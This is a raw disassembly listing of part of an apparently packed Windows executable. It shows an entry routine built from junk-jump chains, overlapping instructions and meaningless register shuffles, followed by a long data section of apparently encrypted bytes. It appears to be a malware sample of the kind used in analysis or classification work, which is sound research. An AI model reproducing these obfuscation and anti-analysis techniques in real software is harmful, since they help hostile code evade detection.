--------------------------------------------------------------------------- loc_4067F9: ; CODE XREF: start+160j jl short near ptr byte_406800 pop edx mov ebp, [eax-7Fh] ; --------------------------------------------------------------------------- db 26h byte_406800 db 67h, 14h ; CODE XREF: start:loc_4067F9j ; --------------------------------------------------------------------------- loc_406802: ; CODE XREF: start+1A9j jmp short loc_4067F4 ; --------------------------------------------------------------------------- mov ebp, 0B98003B2h loc_406809: ; CODE XREF: start:loc_406825j jmp short loc_406838 ; --------------------------------------------------------------------------- db 0FEh ; --------------------------------------------------------------------------- pop edi lodsb jnz short near ptr loc_406816+4 jnp short loc_4067AA icebp setalc push edi inc esp loc_406816: ; CODE XREF: start+1C8j sub eax, 29B0F362h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi loc_406825: ; CODE XREF: start:loc_4067F4j jmp short loc_406809 ; --------------------------------------------------------------------------- db 74h dd 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h db 0D1h ; --------------------------------------------------------------------------- loc_406835: ; CODE XREF: start+1A1j db 36h aaa movsb loc_406838: ; CODE XREF: start:loc_406809j cmp eax, 0 jz loc_406871 push ecx push esi mov ecx, 80D1DAh lea ecx, ds:81291Ah xor ecx, edx jmp loc_406858 ; --------------------------------------------------------------------------- mov esi, ecx std loc_406858: ; CODE XREF: start+20Aj cmp eax, ecx cld pop esi pop ecx mov ebp, [esp+8] push edx push edi push eax pop edx mov edi, ebp xor edx, edx mov edx, edx rcr edx, 9Ah cld pop edi pop edx loc_406871: ; CODE XREF: start+1F5j mov eax, ebp push ecx push edx neg edx test eax, ebp not edx mov dx, 4949h mov edx, 8090DAh xor ecx, edx std xor edx, ebp neg edx neg ecx mov ecx, esi dec edx cld pop edx pop ecx add eax, 500h jmp short loc_4068B4 ; --------------------------------------------------------------------------- dw 0D427h ; --------------------------------------------------------------------------- jge short loc_406910 retn ; --------------------------------------------------------------------------- db 40h db 79h ; --------------------------------------------------------------------------- loc_4068A1: ; CODE XREF: start:loc_4068B4j jmp short loc_4068CB ; --------------------------------------------------------------------------- db 0BEh dd 0CA356C1Fh, 96B1583Bh, 22ED0417h, 6EE970B3h ; --------------------------------------------------------------------------- loc_4068B4: ; CODE XREF: start+252j jmp short loc_4068A1 ; --------------------------------------------------------------------------- dw 9C0Fh db 0A5h, 7Ah ; --------------------------------------------------------------------------- loc_4068BA: ; CODE XREF: start:loc_4068CBj jmp short loc_4068EA ; --------------------------------------------------------------------------- dd 4621882Bh, 0D25D3407h, 1E59A0A3h db 0FFh, 0CCh, 15h ; --------------------------------------------------------------------------- loc_4068CB: ; CODE XREF: start:loc_4068A1j jmp short loc_4068BA ; --------------------------------------------------------------------------- db 2Ah, 1Bh, 0B8h dd 64F7F691h, 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h, 94E7A601h dd 83323Dh db 39h, 7Eh ; --------------------------------------------------------------------------- loc_4068EA: ; CODE XREF: start:loc_4068BAj add eax, 500h jmp short loc_406920 ; --------------------------------------------------------------------------- db 56h, 0D7h, 0C4h ; --------------------------------------------------------------------------- loc_4068F4: ; CODE XREF: start:loc_406920j jmp short loc_406933 ; --------------------------------------------------------------------------- dw 0E2ADh dd 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h, 0DE196063h dd 0EAD58CBFh ; --------------------------------------------------------------------------- loc_406910: ; CODE XREF: start+256j fstp tbyte ptr [eax+51h] mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx loc_406920: ; CODE XREF: start+2A9j jmp short loc_4068F4 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- test al, 0C1h cmpsw push esp std loc_406929: ; CODE XREF: start:loc_406933j jmp short loc_406956 ; --------------------------------------------------------------------------- db 0F2h dd 3EF9C043h db 9Fh, 0ECh, 0B5h ; --------------------------------------------------------------------------- loc_406933: ; CODE XREF: start:loc_4068F4j jmp short loc_406929 ; --------------------------------------------------------------------------- dec edx mov ebx, 971631D8h test [ebp-5Eh], ch loc_40693E: ; CODE XREF: start:loc_406956j jmp short loc_406969 ; --------------------------------------------------------------------------- dd 0EE69F033h, 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h ; --------------------------------------------------------------------------- jg short loc_4069A2 loc_406956: ; CODE XREF: start:loc_406929j jmp short loc_40693E ; --------------------------------------------------------------------------- dd 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h db 5 ; --------------------------------------------------------------------------- loc_406969: ; CODE XREF: start:loc_40693Ej mov edx, eax push edx push ecx mov ecx, ebx dec edx cld pop ecx pop edx add edx, 600h push esi push edi mov si, 492Fh test ecx, ebx lea edi, ds:809B5Ah jb $+6 inc edi cld pop edi pop esi pop ebp push edx push ecx xchg ecx, ecx inc edx cld pop ecx pop edx push edx push edi push ecx shl edi, 3Fh not edi loc_4069A2: ; CODE XREF: start+30Ej test al, ch add ecx, 80AA9Ah not ecx cld rcl edi, 35h dec ecx nop xor ecx, eax cld pop ecx pop edi retn start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 12h dup(0) dd 980h dup(?) _text ends ; Section 2. (virtual address 00009000) ; Virtual size : 00008000 ( 32768.) ; Section size in file : 00007A00 ( 31232.) ; Offset to raw data for section: 00005E00 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _data segment para public 'DATA' use32 assume cs:_data ;org 409000h dd 35EBCE77h, 9F30D9E6h, 324D20D2h, 17F8CE9Bh, 336C6D4Dh dd 0D1DED7DFh, 0CD8DBB0Dh, 0E08FE234h, 9ED956A5h, 3707CC8Dh dd 19DF25A8h, 29809DDAh, 5E8EFAF3h, 3D95ECC4h, 906589CFh dd 0FF9A82D6h, 0D8C1CC67h, 435A4819h, 52619E98h, 14E490D0h dd 99348C98h, 0DCA65B27h, 9675124Eh, 0F7D790E6h, 52357DDAh dd 0DCC12C9Ch, 0E1080EDEh, 60D469A5h, 7D7854h, 0EB2D8954h dd 0F7188091h, 362735C2h, 29234FB3h, 19E1D9C6h, 648A8D16h dd 69CB68F5h, 0AA747DFBh, 1DEC779Ch, 121562DFh, 3C1CC201h dd 9A98AAB7h, 34C21982h, 0C69CF8E6h, 752BF6B2h, 1AD2447Bh dd 2A3C0A26h, 8CB51A7Fh, 0E858C886h, 39C5F53Eh, 501551A8h dd 3D1CF315h, 0E54B5CF3h, 0ADB7F123h, 0F64F9833h, 0D815FC83h dd 8C425BCBh, 0B64FCF54h, 829EBF39h, 11C7F9A6h, 1CF10D61h dd 0A6422F7Fh, 0FC62EB09h, 0BDC3C58Eh, 26AC6A69h, 0D3198CB2h dd 23A1F6FCh, 0B26B998Ah, 0FE04C379h, 0A99FF1A0h, 0EACA8C53h dd 953BEB4Eh, 2547ABCh, 44ED3DD4h, 0E34CDC36h, 0D7A4D169h dd 0B75BC52Ch, 87694621h, 3BA85252h, 0C6EA1CBBh, 0CC0F85D8h dd 1C0EC9D4h, 969303BAh, 18CBC80Fh, 3A776D85h, 0C02A5996h dd 2110ABF5h, 4FD89343h, 0D23D5A5h, 0FC0DC059h, 702AF569h dd 863842A2h, 584E10E9h, 484105B6h, 0BE9C1DF1h, 46DAE497h dd 9426A2DDh, 3FBDEC65h, 0A0500663h, 6FE29FB6h, 0E3C9CF30h dd 96193D7Ah, 3F994050h, 0E6003FD2h, 60BC436h, 3A1DA983h dd 0C63A1289h, 0BFB72348h, 0F3C6FF2h, 57189C4Ch, 190D097Ah dd 0D6F0AA01h, 0E7AD2E3Fh, 0B5C8028Ch, 0D94AB668h, 249814A5h dd 0E5C9AF6Bh, 17C194BBh, 260F54FBh, 0DC0A810Eh, 973C9016h dd 48480C26h, 24EE16E0h, 5CBF3D74h, 93C944D1h, 0F16312E8h dd 9B839F3Ch, 0A6339864h, 0FCA60022h, 24D4678h, 0FF468643h dd 6E53D60Bh, 70C47781h, 6980B9A3h, 0D4EA0C9Ch, 0F61A8D4Eh dd 1E6EF564h, 0DFE59C6Eh, 0D4279AB1h, 558FE2AAh, 63DF2648h dd 0D396F374h, 0D35836DDh, 0D64EAB1Ch, 54EB4893h, 0F181120Eh dd 2B90058Fh, 0DC04584Eh, 0A4E6E671h, 0FB4BB3E4h, 7CF5FBF4h dd 0ACEF8B6Dh, 8F12E147h, 0EB47A13Eh, 79060FFEh, 83DFE68Dh dd 4A7E2065h, 3E911AA4h, 0FA6F910Eh, 0FDC6A565h, 808BBE45h dd 3680B6FDh, 6D60888Ah, 0A00A5507h, 5702C3FCh, 1DD8639Dh dd 0A4E7F8CEh, 5C183931h, 69E5CFDEh, 77F72D03h, 0A15ABF19h dd 0D7A308ABh, 0FEC5B98Eh, 3FBC53BFh, 4D0FA5ADh, 0AC578506h dd 0F2465E2Eh, 1465D15Fh, 6D0B8C13h, 0FB90D03Ah, 0DDFA0403h dd 17CC8906h, 94E07AC4h, 5D45A11Dh, 0B11EF0DFh, 12F3C5EAh dd 3A4A0645h, 6738E9FEh, 0C1F3C251h, 0C5880E74h, 0A600E445h dd 0C43BF4DAh, 71E75459h, 20320968h, 5C1D52CDh, 95D00EA3h dd 0DB35B911h, 93DF9400h, 0CC5BB229h, 1AD2B841h, 0FFC4055Dh dd 98701947h, 55A8F179h, 8C6B9E69h, 5713CF2Fh, 6EAD0B44h dd 0F26C631Fh, 9A9F77A0h, 3462AE9Dh, 0AB5A5594h, 0E7D5D846h dd 0FD6972CEh, 4AAA4680h, 78CE15E9h, 4E7D5149h, 4FD613BAh dd 6565123Ch, 0CD1B8823h, 0BAE4344Eh, 0FF1FED7Bh, 0F6EA55FEh dd 13DA9437h, 77577230h, 31D98F77h, 59C326B2h, 83FF3568h dd 0EFD9DE90h, 0A28FF40Ch, 0C5087E6Eh, 0FF14A8EDh, 4818EC95h dd 9DCF692Fh, 1CF4CD0Bh, 2EC6D7F9h, 2D938612h, 0FF80D7EAh dd 0C5715B6Ch, 0C11F26A3h, 9566A520h, 0E08B6BFAh, 0E75C704Ch dd 60897675h, 0B777B709h, 4B478B39h, 0F4AF4E0Ch, 0F4D4E16Eh dd 3F4C5ECFh, 44367C65h, 0C748BBE2h, 0A13D5C3Dh, 4695314h dd 3698F20Ah, 802473F3h, 0F55C1264h, 0EE64C5CBh, 0C8B61F3Ah dd 0E32E6522h, 261EBA64h, 0E963F8E4h, 1B72136Ah, 0B99731F3h dd 236F6C1Ah, 30A79518h, 87755391h, 0D630EE7Eh, 47B427Bh dd 9A4209E6h, 0A6C1C75Fh, 0A6138288h, 85A91F98h, 0DF5D35E9h dd 6B58AB95h, 0D7938D35h, 5E214347h, 4DE43217h, 51CB91BBh dd 9DD1B487h, 42140DF9h, 0F648AA56h, 0F7E36023h, 0FFC1B104h dd 22E0C0B0h, 0A2BD68AFh, 5E515147h, 0D8114050h, 0A4714553h dd 64B680ABh, 0D4A2C729h, 0CF4BC0D5h, 0A4A473D2h, 19303BF8h dd 9DCED940h, 2E90A00Bh, 0F3875B95h, 0F1234E24h, 49F7F798h dd 6F399E1h, 72755C15h, 14ED5801h, 34900003h, 2C89AB54h dd 11DD3DA8h, 4106F1D6h, 0F6C18A15h, 5DC4688Eh, 50FEDA71h dd 29712124h, 0F5EC5E3Dh, 58D21D6Ah, 0F5737467h, 698B4B97h dd 0FB7E5291h, 99D94D75h, 71171ED2h, 421ABDDh, 4903BC0Bh dd 1CF22202h, 0E3433CF8h, 3A0D99F0h, 0FDA0C5FFh, 9D53D52Dh dd 79D5E8D9h, 0DED67A01h, 0FAE0A3DBh, 90A17074h, 0A681C67Bh dd 0F56BE5B2h, 3863498Fh, 84038BD5h, 0D40FA005h, 1FA312B8h dd 1924CB5Bh, 0AAFDC234h, 0DFE43B96h, 7AA65323h, 609066D0h dd 0BDA997F7h, 0D5E00FE5h, 4FE43302h, 45CAC125h, 0E7734706h dd 7DF69FBFh, 7AAADD46h, 0D4EFAA93h, 0AC64AAFFh, 4F59AA67h dd 13865AE3h, 0D9D264C2h, 98009628h, 3EF56409h, 37127CEh dd 24CB279Ch, 0D97B4160h, 5249720h, 8CA20719h, 8B5BDEB2h dd 1AB33D39h, 13DA6FC3h, 0C6D61EEEh, 0E2349BEAh, 8C5E16F0h dd 2E85EC03h, 51DA6928h, 5A16582Dh, 0D13A42EDh, 0A9BEEC71h dd 5B1E77Ch, 628A87Bh, 0BCB55236h, 26F959B0h, 2B03D90Bh dd 0EE6EF296h, 2A1F3061h, 6D424232h, 2DBCD037h, 772E5FF3h dd 86FC5193h, 16706219h, 64D7475h, 8F50107Fh, 21EF5F07h dd 192E9062h, 41A9D4BFh, 82D4DEFh, 5C8E433Ah, 0EA6C1C2Dh dd 78F74E9Dh, 0E2C07712h, 5CD13626h, 4690242Bh, 0C3087F22h dd 0FC967AD1h, 322CD0B2h, 6F6BF7B8h, 178489C2h, 0C3E75CB6h dd 62752C04h, 66A57304h, 12AA57A9h, 1E66A7h, 251C6E2Eh dd 8482F61Eh, 48C8AAAh, 63F1AEBh, 18055976h, 0CB09DA15h dd 0CE9086C9h, 639F4F2Dh, 0FCDC2EB4h, 99E4E25h, 6E6A4E5Ch dd 5E0B7495h, 3FF3969Bh, 0AE2B0C97h, 0C7F118FEh, 44E58CC6h dd 0CFFB88A0h, 0E1F50E6Eh, 0F9AFDECh, 0D156D315h, 0DA1D353Ah dd 0B939D48Dh, 6686C3FFh, 0E437F720h, 27252C59h, 4ABC99DFh dd 908AE503h, 0CC5AD078h, 0C7BA04E9h, 0FA54530Fh, 45B47A14h dd 976DDB1Bh, 0BB4138F1h, 98F62F41h, 83ED95D6h, 0E9E4B325h dd 5FC9E54Eh, 0F4BD1AEh, 0DD1FCEB6h, 82E4663Ah, 9D0E32B7h dd 5CE54598h, 307431C0h, 0C4B3916Fh, 60BD22CBh, 96969746h dd 0BD45E180h, 0FD40C365h, 0D326045Ch, 2924DC4h, 0E0AD0343h dd 996C3557h, 0C747039Fh, 583DC3A8h, 0DBBD2F12h, 0CEE2E5C2h dd 0E1826A53h, 60D90E5Ch, 493BFAA0h, 58F0B4E1h, 3B9D1480h dd 16AA9874h, 717B1BAh, 9BE21A36h, 61F20282h, 0BE03BB75h dd 8C04F80Eh, 77C10DE7h, 97EFCFFCh, 0D1982F19h, 0E429BEFCh dd 0E11FDA6Fh, 0BA9087BCh, 792535E8h, 49C46D6Eh, 46541B6Ch dd 0A1557F5h, 0F3955E0Fh, 8DF9E74Bh, 9DFD9105h, 5D9A501Eh dd 9051B589h, 966BBF81h, 5B3718F9h, 0C59340F0h, 2782C1EBh dd 63182F55h, 0A2E3D0CCh, 0D850BA2Ch, 0DBE6238Eh, 0F0A10407h dd 8DF05704h, 0A882EC95h, 64A2740Ah, 94AD2D95h, 6FDF2403h dd 0D276E74Dh, 9780DEBDh, 84B6460Bh, 0AF1E55B1h, 0AF24B853h dd 0A937F40Ch, 0AF1C5772h, 0E9734506h, 0B7CF42CDh, 73D73B2Eh dd 18C12E57h, 303920F6h, 9AC61994h, 1FA3C1F8h, 80A8AB0Ah dd 0CD67C2ACh, 74B7A498h dd 2BA714BEh, 0EDCDC585h, 70E67A32h, 4C99F167h, 3FB59495h dd 0C3ABCD50h, 0D14765EFh, 2CBCB57Ch, 3F2EAA32h, 2E0B7F5Eh dd 3A51BDDDh, 5ED26A1Bh, 0B1A839C4h, 9DCF52D4h, 0EB9909D7h dd 20AB3BBh, 0DE62A871h, 26029FEFh, 40CF85A6h, 2CD29315h dd 592DA928h, 0B3C26E9Ch, 549A1E7Fh, 8F5B339h, 5028C506h dd 0DCE043Ch, 5D98B46h, 0F4D75575h, 0C7BEA69Fh, 0E6A3EFBDh dd 7EC14F34h, 0A4828A2Ah, 44379B22h, 0EC6735CBh, 0B7D91A4Eh dd 90764942h, 0D998D764h, 0C9A5D806h, 1F3C6DBCh, 0DE39878h dd 2B94355h, 5476DEA0h, 0D84DDD89h, 663FC5ECh, 699B95C3h dd 0A14C0EFh, 721D9485h, 651FC5DDh, 5FB58B9Bh, 0F1132323h dd 773549B4h, 9427D55Bh, 9F089B1Ah, 9D5D419h, 296F7677h dd 53298C07h, 258C124Eh, 4DDA9DF6h, 337D6708h, 0EFBA25ACh dd 0C96665C9h, 8EBB30FEh, 0F944C298h, 20BA9E19h, 0E267E02Ah dd 0A1FBADCFh, 5F7EC966h, 455945FEh, 87304CA2h, 66C111D9h dd 17B55D43h, 0FD7376A7h, 7FF4DB60h, 7181FB8Fh, 945391C9h dd 1D1CA188h, 0AF183E8Bh, 64AEDA07h, 71ACA4AFh, 89EDE228h dd 7B3C224h, 38E1DD65h, 0EED01D7Ah, 0DD797DDFh, 9F1EFB94h dd 0F3DC4E34h, 9A65CCFCh, 4F5488A5h, 83C1C742h, 8F076A02h dd 1AB58DC4h, 0C4F7FB07h, 0EE799F63h, 46545603h, 0A8B503Eh dd 5B1F9ACEh, 63B2EE34h, 9CF04C9Dh, 0FAEE0A2Fh, 0B0682F06h dd 0C2FCFCE5h, 70D39948h, 3CCFDAC7h, 9DE5BF83h, 6078C2F6h dd 0F2647BEh, 2EC97C62h, 1AE2C2EBh, 0B864FCCAh, 0BA54DBDAh dd 0E8629CA4h, 0FA5C46A6h, 0AA07A4FDh, 0C7672FEAh, 438C5CA8h dd 0C736A746h, 0B49A4460h, 46ECA627h, 0B1EAC19Ah, 83AF58C0h dd 42320C21h, 0DB17DEF3h, 0B4F033A8h, 245EEB06h, 33AC238Dh dd 0F37DF33Ah, 0C3EF1F3Fh, 1E58575h, 645CA479h, 527A3E34h dd 5C68C8E9h, 20FD4E74h, 0ED748D8Bh, 97892C3Bh, 870779ACh dd 178E1694h, 31F80E7Bh, 0A3AE93Ch, 48815077h, 4116B2C1h dd 3F98BF26h, 0A5B01673h, 0A45D68E2h, 0A089F0FAh, 0F02071D6h dd 0D774204Ch, 68FB9DD1h, 35CDFD8Eh, 0E849BD1Dh, 0C13866DFh dd 692CE65h, 513F7B1Bh, 1DEA78F2h, 964EE2F4h, 0E0574EFEh dd 0E617BC59h, 0B1C6EE2Ah, 47209BC3h, 0E52F6C13h, 54E3B0B6h dd 6D49CBCBh, 0DD70D084h, 0AC7279F6h, 9990DC7Ch, 54F24196h dd 0E23DB4B3h, 3A9814FDh, 0BA28BE4Ah, 0FBCED7E6h, 0C50D1165h dd 76EE68DEh, 4710AF04h, 5969E1A0h, 8736B8A0h, 2CBC7B30h dd 0E723EAC5h, 9E120B45h, 719E538h, 1A2E4AF8h, 0A4C8DA2Ch dd 8B70CA4Bh, 3286E5ACh, 0BB0E8D3Ch, 551C8CBDh, 0ABF61CD9h dd 0D7ECC08Eh, 0D329F693h, 2D8245h, 6E000BABh, 85EF42B6h dd 0AA1CCD2Fh, 0DECB1C5Dh, 49AC3645h, 21AB66EEh, 84FAAEDh dd 9ADF4BAh, 9DE73EC2h, 281B0823h, 6E81636Eh, 0FD773E37h dd 0AE588E6Eh, 8F413DCAh, 0CFC46042h, 0CD37A18Bh, 0AAF0D195h dd 0D2B7CF99h, 0F609557h, 86FFD87h, 0BD25D708h, 2D952F35h dd 334F8A32h, 0BE30D99Fh, 0A6D32DDEh, 94FDC7Ah, 0E1A47E90h dd 295E6096h, 0F002B447h, 1990FE60h, 0E93A47E1h, 0A3D16FDh dd 0A4C8AC5h, 2247FAD6h, 0A7EB33C7h, 0F9DBF3B4h, 10C544E3h dd 7795BCADh, 0EB74EDFBh, 0A2D4F37Bh, 0FAADF160h, 4FF3B537h dd 0D0C62F5Bh, 0DE3D9D3Bh, 5F3AEB42h, 53F5B4F3h, 0B11554E8h dd 3F98F232h, 10AB12C7h, 428CC3Ch, 770CB5Ch, 0AE2718D0h dd 87E176D5h, 0EDC488A4h, 6C1B846Ch, 6F5A5297h, 66F07F9h dd 4D18B1F6h, 0B9F2E6A7h, 65764C3Bh, 0CDAA93F2h, 0D2CF86B3h dd 3AE25133h, 3D33E397h, 0B0777D65h, 0BA0C7522h, 0FF5CF871h dd 0EF72A20Ah, 0A4892C8Ch, 43128B05h, 75C1E8D9h, 8B419DB8h dd 0C7B59B6Fh, 0E72D1543h, 0A7193F66h, 9ECA633h, 18ABE337h dd 492CE7A4h, 0F7CD1227h, 19287D1Bh, 6B074AE8h, 0B95B8B4h dd 0B587EBFFh, 3435C171h, 893242B3h, 2D2BC582h, 1DE34DA5h dd 0D37447CDh, 1CD4C315h, 71A7CB37h, 0AD9ADA69h, 16B815E4h dd 6C671F21h, 8C21B20Ch, 0A7989BF8h, 0D159B2DDh, 70EB0646h dd 9E11AB19h, 0EDB2301Eh, 0BAF42C09h, 22104701h, 0ED0CAAADh dd 88EB933Eh, 510D0EC7h, 0B18C2F62h, 27E936Ch, 9F55A66Bh dd 5573621h, 0DB305902h, 385FAD71h, 6D595ED0h, 0C2C93388h dd 506A141Fh, 8DF7A4AFh, 1DA6F919h, 5E886BBFh, 66F5F58Ah dd 613B7C49h, 0FB1CFE89h, 0CF72BB36h, 46D7A497h, 2FC17FADh dd 321991E9h, 0CA5E6A6Ch, 35F112D4h, 9ACA3CE6h, 0F6C2E3BCh dd 6145448Eh, 0A2798C6Ah, 4C2BA9BCh, 0C1782F21h, 1F9B8098h dd 3FE56ABEh, 5605A391h, 0E09A3BFAh, 7F6B4825h, 27098549h dd 2D1C1BA3h, 3AE98A65h, 1F1C77E7h, 51909DD8h, 0A3E84C25h dd 0D815EBDDh, 0F70D95DFh, 6180C198h, 515233EBh, 9D72D4A6h dd 5C6048D0h, 0FDE6515Bh, 4F5F8A07h, 1DA12D57h, 7B7DA09Fh dd 284E172Dh, 75543BC1h, 30DABB03h, 7FF7CF79h, 0F4923F38h dd 1D225BEAh, 0BB8010E7h, 449DBFD0h, 20B31D6Ah, 5754425Ch dd 6349B874h, 0D1916103h, 54DF9240h, 23E98EBFh, 65AABE2Dh dd 1CCB18E5h, 1A270A0h, 7E2333C0h, 43D8573Dh, 93070F6Ch dd 0EE4F3736h, 0DA170C74h, 0AB2550A7h, 76EE89ACh, 135ADCCDh dd 23188602h, 0E25ED816h, 7AE8DFFAh, 8AD5B4CFh, 0A3AAC745h dd 37E167CCh, 54ECE855h, 7F8064FCh, 0CA2CF153h, 6E99C219h dd 0A53CD888h, 56C787C5h, 72233FCAh, 0C7A5DF92h, 4C9848AEh dd 0B8C44599h, 0CB3AAC8Ah, 9E3E36C3h, 0BDB06AA2h, 9DC9C092h dd 423BC8B2h, 7B709D25h, 53EC72DDh, 0A4AF913Eh, 2CF1DF1h dd 5EF1BBE9h, 4AF564C9h, 744A33Ch, 8D66A5C5h, 5331E40Ah dd 0EABC58CCh, 0F6B9A390h, 6D197580h, 0B4F54758h, 0E07F1DA5h dd 0EF5F7D54h, 0BF237A1Eh, 0B71A8AF9h, 4CE64C76h, 407A9347h dd 0BBEEBDF8h, 141E29E1h, 947F526h, 0EF4C3C54h, 45CB305Dh dd 0C913E955h, 6FA16228h, 0A9399080h, 4C6FA154h, 1F25965h dd 176B1D38h, 7729EC71h, 0E0375D6Dh, 0E41817A8h, 0F4001521h dd 2B9BB253h, 0B4256962h, 0CD1FC91Ch, 1D586E1Ch, 5B66917h dd 5960F6D8h, 9DFCDE8h, 9A7A3222h, 0EF2E05E6h, 0F8CD1093h dd 67AF75B8h, 7DEE2E29h, 0B717BDEFh, 433BF54Ch, 3B147C32h dd 5C58E570h, 9F50235Eh, 710EA9CFh, 5A2FA193h, 913EA19Eh dd 51FD763Dh, 29B271C7h, 229B31Fh, 177CF08h, 0DA20BCAFh dd 84E6DAB6h, 0F22F33D4h, 1234E4E6h, 0F8D14B03h, 3EAA4909h dd 290BFC46h, 66C5F3DDh, 9E0F88Bh, 7A5F3747h, 0FE013103h dd 0F186CA91h, 748BC0E3h, 8A3052D9h, 68A14022h, 78B2F540h dd 0D9FD92FCh, 35777388h, 249BF271h, 9B115701h, 0BD31FF92h dd 8709078Ch, 62B54515h, 246788DEh, 9B63E1D5h, 7C335452h dd 0E8D368DCh, 9EA2AF2Ch, 0EDAB4383h, 0E69087E8h, 0C655174Ah dd 5EECC47Eh, 8AB040C4h, 0C972B11h, 5560255Ch, 22F465Fh dd 620EBAE5h, 81A1234Fh, 56AB7D52h, 1FF2BFF2h, 0AA369764h dd 0B506DABDh, 0A6518BC5h, 48485D56h, 0EB681E34h, 1250262Bh dd 54CA291Ch, 42258F10h, 0C9429EBEh, 0CD9DAB15h, 153127D7h dd 19E97B96h, 0EDB6A1B4h, 25EE6A10h, 92CFDED8h, 25E30337h dd 0F3CCB3DFh, 0DEEE3D02h, 7EC2F24Dh, 269774D2h, 2AB764AAh dd 0A43A7F37h, 103C50EEh, 0E36C05FFh, 7A935FC4h, 240892DEh dd 0C0EC97DBh, 1408E3D4h dd 13F29C6h, 0ACAF4A52h, 0B71F1B7Eh, 0A1FF056h, 0CDA88BFBh dd 0BD8795FEh, 92B35819h, 70241AE7h, 31AEE4F1h, 30912C14h dd 9E390322h, 26130652h, 55B846AAh, 9A788C33h, 251C1D75h dd 4A89B4FEh, 294C5699h, 467748E7h, 787CA423h, 0D90EFCF6h dd 215D08BBh, 0C23C8044h, 0ABE1795Fh, 49A302E8h, 7431F30Dh dd 6A69162Ch, 24D38680h, 0FE1B1E5Fh, 97D71AB7h, 8831F215h dd 3D2688C1h, 8CE567DDh, 9370EE2Eh, 12BB57C1h, 0CE6BE0DAh dd 8D824816h, 3E9666FEh, 0FF66A53Ah, 0C2836C14h, 0B0429E63h dd 0F417988h, 8AA951BAh, 5E5180CEh, 58EBE8C1h, 594B012Bh dd 85BCCEA6h, 0CD4C2F27h, 0CD80B888h, 0DA3F3BEAh, 53741A42h dd 9099AC1h, 643FCBEEh, 855A583Ah, 0F43BECB6h, 0B46123F1h dd 9702A449h, 2A919955h, 9972D8B4h, 5E73EE7Ah, 7CA1FC84h dd 711CF6ACh, 0F93A1E67h, 25CF019Eh, 0D79E17E3h, 32E239C5h dd 1C0B7E3h, 0E03D429Bh, 71F47E60h, 0A6B6F46Ch, 54C75D5Ah dd 0CB573316h, 7BF3E10Ch, 0A47DAE33h, 0F723EE0Bh, 6CB5EA6Dh dd 7777EF83h, 40E8F90Dh, 6FF46A1Dh, 0C9A5F9B2h, 49697952h dd 96A5DB09h, 1417431Ch, 661FE518h, 94124A2Ch, 0F6BACB3Bh dd 0FC5CBEB4h, 58F36D0Bh, 0C5B3CC52h, 7291164Bh, 0A24FD1BAh dd 477BA8B3h, 0E04A0CA8h, 997E4F0Bh, 0B4FBB6ABh, 84BF8A8Dh dd 0FE273516h, 0B30FDE68h, 5D7F7919h, 2F0857CAh, 0CF92D964h dd 0C3A72E59h, 0A00B5F06h, 0CFCA77C2h, 898ADF73h, 302EBDD2h dd 0D3D80F83h, 9BA631B9h, 0C0EABC11h, 683699A5h, 5204E3DBh dd 0CBEE8910h, 2A12A547h, 7D63B8h, 0A8DC888Dh, 0D4B76077h dd 9A30077Dh, 0C22B6E19h, 1D7F12DFh, 0FF51B12Dh, 74996518h dd 0C383720Fh, 180DCB40h, 0C578B78Ah, 93431EB1h, 3AE77B4Ch dd 4D421E4h, 0C9301FF8h, 0B2C6415Eh, 46E77B6Ch, 0DEC9ACAFh dd 7C6F9F1Ah, 90E55F12h, 9607DF92h, 0D18E2AB2h, 0BB07117Eh dd 42168650h, 0EF72D835h, 0AB008A2Eh, 0EE8E32BCh, 0FEA987C0h dd 4E0DC5C8h, 8332882Bh, 0E162A4F3h, 860FF063h, 4817E7CBh dd 0EE33D544h, 0E3598D9h, 0C5A142ADh, 0AA135C21h, 8F35AACCh dd 0D5379F8Ch, 0EAD35AEBh, 2FBF87BDh, 0F221E68Bh, 0B65A54D3h dd 0EEA6039Dh, 4C0BFD95h, 1C7673A3h, 0E29E798Bh, 64B428ABh dd 6BD59AA2h, 7F1F475h, 0B7B3B231h, 571E8B5Ah, 4E66F759h dd 0A9AC5593h, 0AED78FF4h, 0A1FD2FFCh, 0E4248A88h, 0AC341ED9h dd 3D2A5E20h, 0F39FF21Ch, 9D601584h, 5CF5A225h, 432768A5h dd 0C1A43BC0h, 55A55446h, 4AEFEAF6h, 0FC3175ADh, 0A16B29CFh dd 327010A9h, 752AB510h, 8A26CBBEh, 10089BA0h, 4AEF97FAh dd 3B153CE9h, 0A463A354h, 1C45D7A2h, 5FFEC2BCh, 5B66CA93h dd 457DF51Eh, 99DE9491h, 6F4B679Bh, 3E6E14C6h, 79939316h dd 68894357h, 9BE41FD9h, 0AABAAF8h, 0C455560Ah, 0EA90FD32h dd 25ADB8BDh, 64D4685h, 369C2F9Eh, 1A061796h, 82E4C51Ch dd 630471ECh, 0BEA809DBh, 7181A1EAh, 8FBBFA3Ch, 0EA2F1C7Bh dd 911FFDBEh, 5ADCF3A7h, 795532C4h, 0CBDD9ABDh, 34CC53E6h dd 33D2DE16h, 7D0DE9E5h, 367FE11Dh, 0D250CA79h, 5A29E03Dh dd 6F7396A0h, 4CAD4EE6h, 48776131h, 0F53EF4B4h, 6AD96D49h dd 8D4752F2h, 956715E2h, 0C2C48EE4h, 0DA5CA81Eh, 0F2421528h dd 9A136596h, 0B23FEA29h, 0A736B513h, 315F7F6Bh, 5D98BBE3h dd 3A00C9C7h, 0B8118264h, 6B39B55h, 61871861h, 7020F552h dd 0D425EFFh, 2E955D20h, 7F13EA63h, 0A398A04Ch, 0DAB0B36Fh dd 0AD961F3Fh, 0E76549EDh, 63455CE9h, 0E2FE507Ch, 8D6C3D16h dd 13ABFDA4h, 22379DB0h, 82F9CAD9h, 0DD8A3053h, 0CE5C54B5h dd 0A0C84CE3h, 0A804A68Ch, 8C1034DBh, 5724DF3Dh, 0A5D8A1F1h dd 0D541367Fh, 0D704E808h, 0E8F8F81Dh, 69F84D9Ch, 8BD3A32Fh dd 0E5EFEB6Dh, 29AA6939h, 0C481A815h, 